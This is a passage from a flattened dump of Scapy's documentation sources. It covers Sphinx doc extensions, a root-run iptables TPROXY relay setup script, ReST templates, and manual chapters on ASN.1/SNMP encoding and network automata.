AttributeError: pass else: obj = unwrap(obj) fn = None lineno = None try: fn = inspect.getsourcefile(obj) except Exception: fn = None if not fn: return None try: source, lineno = inspect.getsourcelines(obj) except Exception: lineno = None fn = os.path.relpath(fn, start=os.path.dirname(scapy.__file__)) if lineno: linespec = "#L%d-L%d" % (lineno, lineno + len(source) - 1) else: linespec = "" if 'dev' in scapy.__version__: return "https://github.com/secdev/scapy/blob/master/scapy/%s%s" % ( fn, linespec) else: return "https://github.com/secdev/scapy/blob/v%s/scapy/%s%s" % ( scapy.__version__, fn, linespec) ================================================ FILE: doc/scapy/_ext/scapy_doc.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ A Sphinx Extension for Scapy's doc preprocessing """ import subprocess import os from scapy.packet import Packet, _pkt_ls, rfc from sphinx.ext.autodoc import AttributeDocumenter # Utils def generate_rest_table(items): """ Generates a ReST table from a list of tuples """ lengths = [max(len(y) for y in x) for x in zip(*items)] sep = "+%s+" % "+".join("-" * x for x in lengths) sized = "|%s|" % "|".join("{:%ss}" % x for x in lengths) output = [] for i in items: output.append(sep) output.append(sized.format(*i)) output.append(sep) return output def tab(items): """ Tabulize a generator. """ for i in items: # Tabs are 3-wide in autodoc yield " " + i def class_ref(cls): """ Get Sphinx reference to a class """ return ":class:`~%s`" % ( cls.__module__ + '.' + cls.__name__ ) def get_fields_desc(obj): """ Create a readable documentation for fields_desc """ output = [] for value in _pkt_ls(obj): fname, cls, clsne, dflt, long_attrs = value output.append( ( "**%s**" % fname, class_ref(cls) + ((" " + clsne) if clsne else ""), "``%s``" % dflt ) ) if output: output = list( tab( generate_rest_table(output) ) ) # Add header output.insert(0, ".. table:: %s fields" % obj.__name__) output.insert(1, " :widths: grid") output.insert(2, " ") # Add RFC-like graph try: graph = list(tab(rfc(obj, ret=True).split("\n"))) except AttributeError: return output s = "Display RFC-like schema" graph.insert(0, ".. raw:: html") graph.insert(1, "") graph.insert(2, "
%s
" % s)
        graph.append("   
") graph.append("") return graph + output return output # Documenter class AttrsDocumenter(AttributeDocumenter): """ Mock of AttributeDocumenter to handle Scapy settings """ def add_directive_header(self, *args, **kwargs): def call_parent(): """Calls the super.super.add_directive_header""" super(AttributeDocumenter, self).add_directive_header( *args, **kwargs ) sourcename = self.get_sourcename() # Custom additions if issubclass(self.parent, Packet): # Packet if self.object_name == "fields_desc": # Display custom field table call_parent() table = list(tab(get_fields_desc(self.parent))) if table: self.add_line(" ", sourcename) for line in table: self.add_line(line, sourcename) self.add_line(" ", sourcename) return elif self.object_name == "payload_guess": # Display list of possible children call_parent() children = sorted(set(class_ref(x[1]) for x in self.object)) if children: lines = [ "", "Possible sublayers:", ", ".join(children), "" ] for line in tab(lines): self.add_line(line, sourcename) return elif (self.object_name in ["aliastypes"] or self.object_name.startswith("class_")): # Ignore call_parent() return # The field is unknown: continue normally super(AttrsDocumenter, self).add_directive_header(*args, **kwargs) # Setup def builder_inited_handler(app): """Generate API tree""" if int(os.environ.get("SCAPY_APITREE", True)): subprocess.call(['tox', '-e', 'apitree']) def setup(app): """ Entry point of the scapy_doc extension. Called by sphinx while booting up. """ app.add_autodocumenter(AttrsDocumenter, override=True) app.connect('builder-inited', builder_inited_handler) # Dummy. We won't publish this return { 'version': '1.0', 'parallel_read_safe': True, 'parallel_write_safe': True, } ================================================ FILE: doc/scapy/_static/_dummy ================================================ ================================================ FILE: doc/scapy/_static/vethrelay.sh ================================================ #!/bin/bash # Setup iptables for IP relay by creating an interface configured # to be the destination of TPROXY rules. if [ "$EUID" -ne 0 ] then echo "Please run as root" exit fi if [ "$1" != "setup" ] && [ "$1" != "unsetup" ]; then echo -e "Usage: ./vethrelay \n" exit 1 fi IFACE="vethrelay" IP="2.2.2.2" # Linux doc about TPROXY and example regarding this: # https://www.kernel.org/doc/Documentation/networking/tproxy.txt # https://powerdns.org/tproxydoc/tproxy.md.html function checkSetup() { iptables -t mangle -n --list "DIVERT" >/dev/null 2>&1 return $? } if [ "$1" == "setup" ]; then # Add "DIVERT" chain if it doesn't exist checkSetup if [ $? -eq 0 ]; then echo "vethrelay already setup !" exit 1 fi # Create an interface tcpreplay dedicated to relay ip link add dev $IFACE type dummy sysctl net.ipv6.conf.$IFACE.disable_ipv6=1 >/dev/null ip link set dev $IFACE up ip addr add dev $IFACE $IP/32 # Create mangle "DIVERT" chain as an optimisation. -m socket matches # packets from already established sockets. Those are marked as 1 then # accepted directly. iptables -t mangle -N DIVERT iptables -t mangle -A PREROUTING -p tcp -m socket -j DIVERT iptables -t mangle -A DIVERT -j MARK --set-mark 1 iptables -t mangle -A DIVERT -j ACCEPT # Packets marked with 1 are routed through table 100 instead of the # default routing table ip rule add fwmark 1 lookup 100 # In routing table 100, all IPs are local to 'vethrelay' ip route add local 0.0.0.0/0 dev $IFACE table 100 echo -e "\x1b[32mInterface $IFACE is now setup with IPv4: $IP !\x1b[0m\n" echo -e "Add listening rules as follow:\n" echo "# TPROXY incoming TCP packets on port 80 to $IFACE on port 8080" echo "iptables -t mangle -A PREROUTING -p tcp --dport 80 -j TPROXY --tproxy-mark 0x1/0x1 --on-port 8080 --on-ip $IP" echo echo "# Listen on wlp4s0 for incoming packets on port 80 (on the interface where it really comes from)" echo "iptables -A INPUT -i wlp4s0 -p tcp --dport 80 -j ACCEPT" elif [ "$1" == "unsetup" ]; then checkSetup if [ $? -ne 0 ]; then echo "vethrelay not setup !" exit 1 fi # Remove all setup rules sudo ip rule del fwmark 1 lookup 100 sudo ip route del local 0.0.0.0/0 dev $IFACE table 100 sudo iptables -t mangle -D DIVERT -j ACCEPT sudo iptables -t mangle -D DIVERT -j MARK --set-mark 1 sudo iptables -t mangle -D PREROUTING -p tcp -m socket -j DIVERT sudo iptables -t mangle -X DIVERT sudo ip link del dev $IFACE echo -e "\x1b[32mInterface $IFACE unsetup !\x1b[0m" fi ================================================ FILE: doc/scapy/_templates/README.md ================================================ # Doc templates This folder contains templates used to generate Scapy's doc. It contains: - apidoc templates: inherited from https://github.com/sphinx-doc/sphinx/blob/master/sphinx/templates/apidoc/ ================================================ FILE: doc/scapy/_templates/module.rst_t ================================================ {%- if show_headings %} {{- basename | e | heading }} {% endif -%} .. automodule:: {{ qualname }} {%- for option in automodule_options %} :{{ option }}: {%- endfor %} ================================================ FILE: doc/scapy/_templates/package.rst_t ================================================ {%- macro automodule(modname, options) -%} .. automodule:: {{ modname }} {%- for option in options %} :{{ option }}: {%- endfor %} {%- endmacro %} {%- macro toctree(docnames) -%} .. toctree:: :maxdepth: {{ maxdepth }} :titlesonly: {% for docname in docnames %} {{ docname }} {%- endfor %} {%- endmacro %} {%- if is_namespace %} {{- [pkgname, "namespace"] | join(" ") | e | heading }} {% else %} {%- if pkgname == "scapy" %} {{- "Scapy API reference" | e | heading }} {% else %} {{- [pkgname, "package"] | join(" ") | e | heading }} {% endif %} {% endif %} {%- if modulefirst and not is_namespace %} {{ automodule(pkgname, automodule_options) }} {% endif %} {%- if subpackages %} Subpackages ----------- {{ toctree(subpackages) }} {% endif %} {%- if submodules %} Submodules ---------- {% if separatemodules %} {{ toctree(submodules) }} {%- else %} {%- for submodule in submodules %} {% if show_headings %} {{- [submodule, "module"] | join(" ") | e | heading(2) }} {% endif %} {{ automodule(submodule, automodule_options) }} {% endfor %} {%- endif %} {% endif %} {%- if not modulefirst and not is_namespace %} {{ automodule(pkgname, automodule_options) }} {% endif %} ================================================ FILE: doc/scapy/advanced_usage/asn1_snmp.rst ================================================ ASN.1 and SNMP ============== What is ASN.1? -------------- .. note:: This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet. ASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules. The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes, and signatures. ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so-called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes. Each of these objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is an integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version. Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc. Scapy and ASN.1 --------------- Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite laxer than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those. ASN.1 engine ^^^^^^^^^^^^ Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behavior. `` Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects. :: class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" # [...] BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 # [...] class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 # [...] All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple:: class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING These instances can be assembled to create an ASN.1 tree:: >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])]) >>> x , , ]]>]]> >>> x.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: Encoding engines ^^^^^^^^^^^^^^^^^ As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec. Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type:: >>> BERcodec_INTEGER.enc(7) '\x02\x01\x07' >>> BERcodec_BIT_STRING.enc("egg") '\x03\x03egg' >>> BERcodec_STRING.enc("egg") '\x04\x03egg' >>> BERcodec_STRING.dec('\x04\x03egg') (, '') >>> BERcodec_STRING.dec('\x03\x03egg') Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2178, in do_dec l,s,t = cls.check_type_check_len(s) File "/usr/bin/scapy", line 2076, in check_type_check_len l,s3 = cls.check_type_get_len(s) File "/usr/bin/scapy", line 2069, in check_type_get_len s2 = cls.check_type(s) File "/usr/bin/scapy", line 2065, in check_type (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting ### Already decoded ### None ### Remaining ### '\x03\x03egg' >>> BERcodec_Object.dec('\x03\x03egg') (, '') ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``raw()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used. :: >>> x.enc(ASN1_Codecs.BER) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> raw(x) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> xx,remain = BERcodec_Object.dec(_) >>> xx.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: >>> remain '' By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context! :: >>> cert=""" ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0 ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0 ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/ ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5 ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41 ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg= ... """.decode("base64") >>> (dcert,remain) = BERcodec_Object.dec(cert) Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2092, in do_dec raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...'] ### Already decoded ### [[]] ### Remaining ### '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509) >>> dcert.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT0: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT3: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: \xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01 ASN.1 layers ^^^^^^^^^^^^ While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet. ASN.1 fields ~~~~~~~~~~~~ Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it). Each ASN.1 field is linked to an ASN.1 object through its tag. ASN.1 packets ~~~~~~~~~~~~~ ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields. A complete example: SNMP ------------------------ SNMP defines new ASN.1 objects. We need to define them:: class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic:: class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other. The ASN.1 fields are also trivial:: class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT # [...] Now, the hard part, the ASN.1 packet:: SNMP_error = { 0: "no_error", 1: "too_big", # [...] } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", # [...] } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) # [...] class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) # [...] bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may have cut too much, just look at the complete source code. Now, how to use it? As usual:: >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5), ... SNMPvarbind(oid="3.2.1",value="hello")])) >>> a.show() ###[ SNMP ]### version= v3 community= 'public' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= '1.2.3' | | value= 5 | |###[ SNMPvarbind ]### | | oid= '3.2.1' | | value= 'hello' >>> hexdump(a) 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!. 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*. 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello >>> send(IP(dst="1.2.3.4")/UDP()/SNMP()) . Sent 1 packets. >>> SNMP(raw(a)).show() ###[ SNMP ]### version= community= \PDU\ |###[ SNMPget ]### | id= | error= | error_index= | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= | | value= | |###[ SNMPvarbind ]### | | oid= | | value= Resolving OID from a MIB ------------------------ About OID objects ^^^^^^^^^^^^^^^^^ OID objects are created with an ``ASN1_OID`` class:: >>> o1=ASN1_OID("2.5.29.10") >>> o2=ASN1_OID("1.2.840.113549.1.1.1") >>> o1,o2 (, ) Loading a MIB ^^^^^^^^^^^^^ Scapy can parse MIB files and become aware of a mapping between an OID and its name:: >>> load_mib("mib/*") >>> o1,o2 (, ) The MIB files I've used are attached to this page. Scapy's MIB database ^^^^^^^^^^^^^^^^^^^^ All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name :: >>> conf.mib.sha1_with_rsa_signature '1.2.840.113549.1.1.5' or to resolve an OID:: >>> conf.mib._oidname("1.2.3.6.1.4.1.5") 'enterprises.5' It is even possible to graph it:: >>> conf.mib._make_graph() ================================================ FILE: doc/scapy/advanced_usage/automaton.rst ================================================ Automata ======== Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose your way to go. An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions, and from transitions to states and actions. From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work. First example ------------- Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well. :: class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): print("State=BEGIN") @ATMT.condition(BEGIN) def wait_for_nothing(self): print("Wait for nothing...") raise self.END() @ATMT.action(wait_for_nothing) def on_nothing(self): print("Action on 'nothing' condition") @ATMT.state(final=1) def END(self): print("State=END") In this example, we can see 3 decorators: * ``ATMT.state`` that is used to indicate that a method is a state, and that can have initial, final, stop and error optional arguments set to non-zero for special states. * ``ATMT.condition`` that indicate a method to be run when the automaton state reaches the indicated state. The argument is the name of the method representing that state * ``ATMT.action`` binds a method to a transition and is run when the transition is taken. Running this example gives the following result:: >>> a=HelloWorld() >>> a.run() State=BEGIN Wait for nothing... Action on 'nothing' condition State=END >>> a.destroy() This simple automaton can be described with the following graph: .. image:: ../graphics/ATMT_HelloWorld.* The graph can be automatically drawn from the code with:: >>> HelloWorld.graph() .. note:: An ``Automaton`` can be reset using ``restart()``. It is then possible to run it again. .. warning:: Remember to call ``destroy()`` once you're done using an Automaton. (especially on PyPy) Changing states --------------- The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition. As an example, let's consider the following state:: @ATMT.state() def MY_STATE(self, param1, param2): print("state=MY_STATE. param1=%r param2=%r" % (param1, param2)) This state will be reached with the following code:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type) Let's suppose we want to bind an action to this transition, that will also need some parameters:: @ATMT.action(received_ICMP) def on_ICMP(self, icmp_type, icmp_code): self.retaliate(icmp_type, icmp_code) The condition should become:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code) Real example ------------ Here is a real example take from Scapy. It implements a TFTP client that can issue read requests. .. image:: ../graphics/ATMT_TFTP_read.* :: class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = b"" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, 